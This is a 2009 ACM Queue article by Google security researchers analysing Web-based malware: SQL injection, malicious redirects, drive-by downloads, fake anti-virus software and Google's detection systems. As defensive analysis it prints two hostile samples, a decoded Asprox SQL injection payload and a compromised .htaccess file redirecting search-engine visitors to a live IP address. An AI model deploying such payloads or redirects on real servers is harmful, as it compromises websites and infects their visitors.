WEB SECURITY

Niels Provos, Moheeb Abu Rajab, and Panayiotis Mavrommatis, Google

As the Web has become vital for day-to-day transactions, it has also become an attractive avenue for cybercrime. Financially motivated, the crime we see on the Web today is quite different from the more traditional network attacks. A few years ago Internet attackers relied heavily on remotely exploiting servers identified by scanning the Internet for vulnerable network services. Autonomously spreading computer worms such as Code Red and SQLSlammer were examples of such scanning attacks. Their huge scale put even the Internet at large at risk; for example, SQLSlammer generated traffic sufficient to melt down backbones.

As a result, academia and industry alike developed effective ways to fortify the network perimeter against such attacks. Unfortunately, the attackers similarly changed tactics, moving away from noisy scanning and concentrating more on stealthy attacks.

Not only did they change their tactics, but also their motivation. Previously, large-scale events such as network worms were mostly exhibitions of technical superiority.

Today, cybercriminals are primarily motivated by economic incentives not only to exploit and seize control of compromised systems for as long as possible, but also to turn their assets into revenue.

The Web offers cybercriminals a powerful infrastructure to compromise computer systems and monetize the resulting computing resources, as well as any information that can be stolen from them. Cybercriminals use the Web to serve malicious content capable of compromising users' computers and running arbitrary code on them. This has been made possible largely by the increased complexity of Web browsers and the resulting vulnerabilities that come with complex software. For example, a modern Web browser provides a powerful computing platform with access to different scripting languages (such as JavaScript), as well as external plug-ins (such as Flash or Java) that may not follow the same security policies applied by the browser.

While these capabilities permit sophisticated Web applications, they also allow people to collect information about the target system and deliver exploits specifi-

Cybercrime 2.0

When the Cloud Turns Dark

Web-based malware attacks are more insidious than ever.
What can be done to stem the tide?

Cybercrime 2.0

When the Cloud Turns Dark

cally tailored to a user's computer. Perimeter defenses that disallow incoming connections are rendered useless against exploitation as attackers use the browser to initiate outbound connections to download attack payloads. This type of traffic looks almost identical to the users' normal browsing traffic and is not usually blocked by network firewalls.

To prevent Web-based malware from infecting users, Google has developed an infrastructure to identify malicious Web pages. The data resulting from this infrastructure is used to secure Web search results, as well as protect browsers such as Firefox and Chrome. In this article, we discuss interesting Web attack trends and some of the challenges associated with this rising threat.

WEB ATTACKS

As Web browsers have become more capable and the Web richer in features, it is difficult for the average user to understand what happens when visiting a Web page. In most applications visiting a Web page causes the browser to pull content from a number of different providers (for example, to show third-party ads, provide interactive maps, or display online videos). The sheer number of possibilities involved in designing Web pages and making them attractive to users is staggering. These features increase the complexity of the components that constitute a modern Web browser. Unfortunately, each browser component may introduce some new vulnerabilities that an attacker can leverage to gain control over a user's computer. Over the past few years we have seen an increasing number of browser vulnerabilities,^{5,7} some of which have gone weeks without official fixes.

To exploit a vulnerability, an attacker must get the user to visit a Web page that contains malicious content. One way to attract user traffic is to send spam that advertises links to malicious Web pages, but this delivery mechanism requires the user to open the spam and then click on the embedded link. The ubiquitous Web infrastructure provides a better solution. While it is easy to exploit a

Web browser, it is even easier to exploit Web servers. The relative simplicity of setting up and deploying Web servers has resulted in a large number of Web applications with remotely exploitable vulnerabilities. Unfortunately, these vulnerabilities are rarely patched, and remote exploitation of Web servers is increasing. Attackers can easily compromise a Web server and inject malicious content (for example, via an IFrame pointing to an exploit server). Any visitor to such a compromised Web server becomes a target of exploitation. If the visitor's system is

vulnerable, the exploit causes the browser to download and execute arbitrary payloads. This process is known as *drive-by download*. Depending on the popularity of the compromised Web site, an attacker may get access to a large user population. Last year, Web sites with millions of visitors were compromised in this way.

TAKING OVER WEB SERVERS

Turning Web servers into infection vectors is, unfortunately, fairly straightforward. Over the past couple of years, we have observed a number of different attacks

against Web servers and Web applications, ranging from simple password guessing to more advanced exploits that can infect thousands of servers at once. In general, these attacks aim at altering Web-site content to redirect visitors to servers controlled by the attacker. The following sections expand on some examples of recent dominant server attacks.

SQL injection attacks.

SQL injection is an exploitation technique commonly used against Web servers that run vulnerable database applications.

The vulnerability happens when user input is not

properly sanitized (for example, by filtering escape characters and string literals), therefore causing well-crafted user input to be interpreted as code and executed on the server. SQL injection has been commonly used to perpetrate unauthorized operations on a vulnerable database server such as harvesting users' information and manipulating the contents of the database. In Web applications running an SQL database to manage users' authentication, attackers use SQL injection to bypass login and gain unauthorized access to user accounts or, even worse, to gain administrative access to the Web application. Other variants of these attacks allow the attackers to alter the contents of the server's database and inject their own content.

Last year, a major SQL injection attack was launched by the Asprox botnet,¹⁵ in which several thousand bots were equipped with an SQL injection kit that sent specially crafted queries to Google searching for servers that run ASP.net, and then launched SQL injection attacks against the Web sites returned from those queries. In these attacks the bot sent an encoded SQL query containing the exploit payload (similar to the format shown here) to the target Web server:

```
http://www.victim-site.com/asp_application.  
asp?arg=<encoded sql query>
```

FIGURE 1

Decoded Snippet of an SQL Injection Query

```
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table _ Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35
OR b.xtype=231 OR b.xtype=167)
OPEN Table _ Cursor FETCH NEXT FROM Table _ Cursor INTO @T,@C
WHILE(@@FETCH _ STATUS=0)
BEGIN EXEC('UPDATE ['+'@T+']
SET ['+'@C+']=RTRIM(CONVERT(VARCHAR(4000),['+'@C+']))+')
FETCH NEXT FROM Table _ Cursor INTO @T,@C
END CLOSE Table _ Cursor
DEALLOCATE Table _ Cursor
```

The vulnerable server decoded and executed the query payload, which, in the Asprox case, yielded SQL code similar to the snippet shown in figure 1.¹³

The decoded payload searched the Web server folders for unicode and ASCII files and injected an IFrame or a script tag into them. The injected content redirected the Web-site users to Web servers controlled by the attacker, therefore subjecting them to direct exploitation.

We monitored the Asprox botnet over the past eight months and observed bots getting instructions to refresh their lists of the domains to inject. Overall, we have seen 340 different injected domains. Our analysis of the successful injections revealed that approximately 6 million URLs belonging to 153,000 different Web sites were victims of SQL injection attacks by the Asprox botnet. While the Asprox botnet is no longer active, several victim sites are still redirecting users to the malicious domains. Because bots inject code in a noncoordinated manner, many Web sites end up getting multiple injections of malicious scripts over time.

Redirections via .htaccess. Even when the Web pages on a server are harmless and unmodified, a Web server may direct users to malicious content. Recently, attackers compromised Apache-based Web servers and altered the configuration rules in the .htaccess file. This configuration file not only can be used for access control, but also allows for selective redirection of URLs to other destinations. In our analysis of Web servers, we found several

Cybercrime 2.0

When the Cloud Turns Dark

incidents where adversaries installed .htaccess configuration files to redirect visitors to malware distribution sites (for example, fake anti-virus sites, as we discuss later).

One interesting aspect of .htaccess redirections is the attempt to hide the compromise from the site owner. For example, redirection can be conditional based on how a visitor reached the compromised Web server as determined by the HTTP Referer header of the incoming request. In the incidents we observed, the .htaccess rules were configured so that visitors arriving via search engines were redirected to a malware site. When the site owner typed the URL directly into the browser's location bar, however, the site would load normally, as the Referer header was not set.

The following code is an example of a compromised .htaccess file:¹¹

```
RewriteEngine On
RewriteCond %{HTTP _ REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP _ REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP _ REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP _ REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP _ REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP _ REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.204/in.html?s=xx [R,L]
```

In this example, users visiting the compromised site via any of the listed search engines are redirected to `http://89.28.13.204/in.html?s=xx`. Notice that the initial redirect is usually to an IP address that acts as a staging server and redirects users to a continuously changing set of domains. The staging server manages which users get redirected where. For example, the staging server may check whether the user has already visited the redirector and then return an empty payload on any subsequent visit. We assume this is meant to make analysis and reproduction of the redirection chain more difficult. Attackers also frequently rewrite the .htaccess file to point to

different IP addresses. Removing the .htaccess file without patching the original vulnerability or changing the server credentials will not solve the problem. Many Webmasters attempted to delete the .htaccess file and found a new one on their servers the next day.

TAKING OVER WEB USERS

Once attackers have turned a Web server into an infection vector, visitors to that site are subjected to various exploitation attempts. In general, client exploits fall into two main categories: automated drive-by downloads and social-engineering attacks.

Drive-by downloads. In drive-by downloads, attackers attempt to exploit flaws in the browser, the operating system, or the browser's external plug-ins. A successful exploit causes malware to be delivered and executed on the user's machine without the user's knowledge or consent. For example, a popular exploit we encountered takes advantage of a vulnerability in MDAC (Microsoft Data Access Components) that allows arbitrary code execution on a user's computer.⁸ A 20-line JavaScript code snippet was enough to exploit this vulnerability and initiate a drive-by download.

Another popular exploit is caused by a vulnerability in Microsoft Windows WebViewFolderIcon. The exploit JavaScript uses a technique called heap spraying that creates a large number of JavaScript string objects on the heap. Each JavaScript string contains x86 machine code (shellcode) necessary to download and execute a binary on the exploited system. By spraying the heap, an attacker attempts to create a copy of the shellcode at a known location in memory and then redirects program execution to it.

Social engineering attacks. When drive-by downloads fail to compromise a user's machine, attackers often employ social-engineering techniques to trick users into installing and running malware themselves. The Web is rich with deceptive content that lures users into downloading malware.

One common class of attacks includes images that resemble popular video players, along with a false warning that the computer is missing essential codecs for displaying the video or that a newer version of the video player plug-in is required to view it. Instead, the provided link downloads a trojan that, once installed, gives the attacker full control over the user's machine.

A more recent trick involves fake security scans. A specially crafted Web site displays virus-scanning dialogs, along with animated progress bars and a list of infections presumably found on the computer, but all the warnings are false and are meant to scare the user into believing the machine is infected. The Web site then offers a download as a solution, which could be another trojan, or asks the user for a registration fee to perform an unnecessary cleanup of the machine.

We have observed a steady increase in fake anti-virus attacks. From July to October 2008, we measured an average of 60 different domains serving fake security products, infecting an average of 1,500 Web sites. In November and December 2008, the number of domains increased to 475, infecting more than 85,000 URLs. At that time the Federal Trade Commission reported more than 1 million consumers were tricked into buying these products, and a U.S. district court issued a halt and an asset freeze on some of the companies behind these fake products.³ This does not appear to have been sufficient to stop the scheme. In January 2009, we observed more than 450 different domains serving fake security products, and the number of infected URLs had increased to 148,000.

Malware activities on the user's machine. Once attackers have control over a user's machine, they usually attempt to turn their work into profit. We have previously analyzed the behavior of Web malware installed by drive-by downloads.¹⁰ In many cases, malware was equipped with key-loggers to spy on the user's activity. Often, a backdoor was installed, allowing the attacker to access the machine directly at a later time. More sophisticated malware turned the machine into a bot that listened to remote commands and executed various tasks on demand. Common uses of botnets include sending spam or harvesting passwords or credit card numbers. Botnets afford the attackers a degree of anonymity since the spam appears to be sent from a set of continuously changing IP addresses, making it harder to blacklist them.

To help improve the safety of the Internet, Google has developed an extensive infrastructure for identifying URLs that trigger drive-by downloads. Our analysis starts

by inspecting pages in Google's large Web repository. Since exhaustive inspection of each page is prohibitively expensive as the repository contains billions of pages, we have developed a lightweight system to identify candidate pages likely to be malicious. These pages are then subjected to more detailed analysis in a virtual machine, allowing us to determine if visiting a page results in malicious changes to the machine itself.

The lightweight analysis uses a machine-learning framework that can detect 90 percent of all malicious

pages with a false positive rate of only 10^{-3} . At this false positive rate, the filter reduces the workload of the virtual machines from billions of pages to only millions. The URLs that are determined to be malicious are further processed into host-suffix path-prefix patterns. This system has been used to protect Google's search engine since 2006. Our data is also published via Google's Safe Browsing API for browsers such as Firefox, Chrome, and Safari, which use the data to prevent users from visiting harmful pages.

CHALLENGES

Despite these efforts to make the Web safer for users, a number of fundamental challenges remain, requiring future work.

Cybercrime 2.0

When the Cloud Turns Dark

Securing Web services. Establishing a presence on the Web, ranging from simple HTML pages to advanced Web applications, has become an easy process. Even people with little technical knowledge can set up a Web service, but maintaining such a service and keeping it secure are still difficult. Many Web application frameworks require programmers to follow strict security practices, such as sanitizing and escaping user input. Unfortunately, as this burden is put onto the programmer, many Web applications suffer from vulnerabilities that can be remotely exploited.^{12,14} For example, SQL injection attacks are made possible by a programmer neglecting to escape external input.

Popular Web applications such as bulletin boards and blogs release security updates frequently, but many administrators neglect to update their installations. Even the Web server software itself, such as Apache or IIS, is often out of date. We previously found that more than 38 percent of Apache installations and 40 percent of PHP installations in compromised sites were not secure and were out of date.¹⁰

To avoid compromising Web applications, it is important to develop mechanisms to keep Web servers and Web applications automatically patched. Some Web applications already notify Webmasters about security updates, but the actual installation of security patches is often still done manually and is complicated.

It is difficult to be completely safe against drive-by downloads. All that is required for someone to gain control over your system is a single vulnerability. Any piece of software that is exposed to Web content and not up to date can become the weakest link.

Many browser plug-ins and add-ons, such as toolbars, do not provide automatic updates. Furthermore, system updates often require a restart after installation, discouraging users from applying the security patches on time.

Even if a system is fully patched, the window of vulnerability for some software is often very large. Major

browsers were unsafe for as long as 284 days in 2006, and for at least 98 days criminals stole personal and financial data by using vulnerabilities for which no patches were available.^{5,6} Although progress is being made on providing fault isolation in browsers that may prevent vulnerabilities from being exploited,^{1,4} a completely secure browser still needs to be developed.

Detecting social-engineering attacks. Many drive-by downloads can be detected automatically via client honeypots. When adversaries use social engineering to trick users into installing malicious software, however, automated detection is significantly complicated. Although user interactions can be simulated by the client honeypot, a fundamental problem is the user's expectation about the functionality of a downloaded application compared with what it actually does. In the video case described earlier, the user expected to watch a video. After downloading and installing such a trojan, nothing usually happens. This could warn the user that something is amiss and might result in the user trying to fix the system; but the installed software could just as easily play a video, leaving the user with no reason to suspect that the system has been infected.

Similarly, some of the fake anti-virus software actually has some detection capability for old malware. The question then is how to determine if a piece of software functions as advertised. In general, there is no clear answer. For example, the popular Google toolbar allows a user to opt into receiving the page rank of a visited page. This works by sending the current URL to Google and then returning the associated page rank and displaying it in the browser. This is a legitimate feature that is desired by the user, but a similar piece of software might not disclose its functionality and send all visited URLs to some omniscient third party. In that case, we would label the software as spyware.

Automated analysis^{2,9} is more difficult when malicious activity is triggered only under certain conditions. For example, some banking trojans watch the URL in the

browser window and overlay a fake input field only for specific banking Web sites. Automated tools may discover the overlay functionality, but if the trojan were to compare against one-way hashes of URLs, determining which banks were targeted could be rather difficult.

CONCLUSION

Without doubt, Web-based malware is a security concern for many users. Unfortunately, the root cause that allows the Web to be leveraged for malware delivery is an inherent lack of security in its design—neither Web applications nor the Internet infrastructure supporting these applications were designed with a well-thought-out security model. Browsers evolved in complexity to support a wide range of applications; they inherited some of these weaknesses and added more of their own. Although some of the solutions are promising and may help reduce the magnitude of the problem, safe browsing will continue to be a sought-after goal that deserves serious attention from academia and industry alike. **Q**

REFERENCES

1. Barth, A., Jackson, C., Reis, C. 2008. The security architecture of the Chromium browser; <http://crypto.stanford.edu/websec/chromium/chromium-security-architecture.pdf>.
2. Brumley, D., Hartwig, C., Kang, M., Liang, Z., Newsome, J., Song, D., Yin, H. 2007. BitScope: Automatically dissecting malicious binaries. Technical Report CMU-CS-07-133. School of Computer Science, Carnegie Mellon University (March).
3. Federal Trade Commission. 2008. Court halts bogus computer scans (December); www.ftc.gov/opa/2008/12/winsoftware.shtm.
4. Grier, C., Tang, S., King, S. 2008. Secure Web browsing with the OP Web browser. In *Proceedings of the IEEE Symposium on Security and Privacy*: 402–416.
5. Krebs, B. 2007. Internet Explorer unsafe for 284 days in 2006. *Washington Post Online* blog (January).
6. Krebs, B. 2009. Blogfight: IE vs. Firefox security. *Washington Post Online* blog (January).
7. Microsoft Security Advisory (935423). 2007. Vulnerability in Windows animated cursor handling; <http://www.microsoft.com/TechNet/security/advisory/935423.mspx>.
8. Microsoft Security Bulletin MS06-014. 2006. Vulnerability in the Microsoft Data Access Components (MDAC) function could allow code execution; <http://www.microsoft.com/technet/security/Bulletin/ms06-014.mspx>.
9. Moser, A., Kruegel, C., Kirda, E. 2007. Exploring multiple execution paths for malware analysis. In *Proceedings of the IEEE Symposium on Security and Privacy*: 231–245.
10. Polychronakis, M., Mavrommatis, P., Provos, N. 2008. Ghost turns zombie: Exploring the life cycle of Web-based malware. In *Proceedings of the 1st Usenix Workshop on Large-Scale Exploits and Emergent Threats* (April).
11. Provos, N. 2008. Using htaccess to distribute malware (December); www.provos.org/index.php?/archives/55-Using-htaccess-To-Distribute-Malware.html.
12. Provos, N., Mavrommatis, P., Rajab, M.A., Monroe, F. 2008. All your IFrames point to us. *Usenix Security Symposium*: 1–16.
13. Raz, R. 2008. Asprox silent defacement. Chapters in Web Security (December); <http://chaptersinWebsecurity.blogspot.com/2008/07/asprox-silent-defacement.html>.
14. Small, S., Mason, J., Monroe, F., Provos, N., Stubblefield, A. 2008. To catch a predator: A natural language approach for eliciting malicious payloads. *Usenix Security Symposium*: 171–184.
15. Stewart, J. 2008. Danmec/Asprox SQL injection attack tool analysis. Secure Works Online (May); www.secureworks.com/research/threats/danmecasprox.

LOVE IT, HATE IT? LET US KNOW

feedback@queue.acm.org

NIELS PROVOS (niels@google.com) joined Google in 2003 and is currently a principal software engineer in the Infrastructure Security Group. His areas of interest include computer and network security, as well as large-scale distributed systems. He serves on the Usenix board of directors.

MOHEEB ABU RAJAB (moheeb@google.com) joined Google in 2008 and is currently a software engineer in the Infrastructure Security Group. His areas of interest include computer and network security.

PANAYIOTIS MAVROMMATIS (Panayiotis@google.com) joined Google in 2006 and is currently working as a senior software engineer in the Security Group.

© 2009 ACM 1542-7730/09/0200 \$5.00

This article appears in print in the April 2009 issue of *Communications of the ACM*.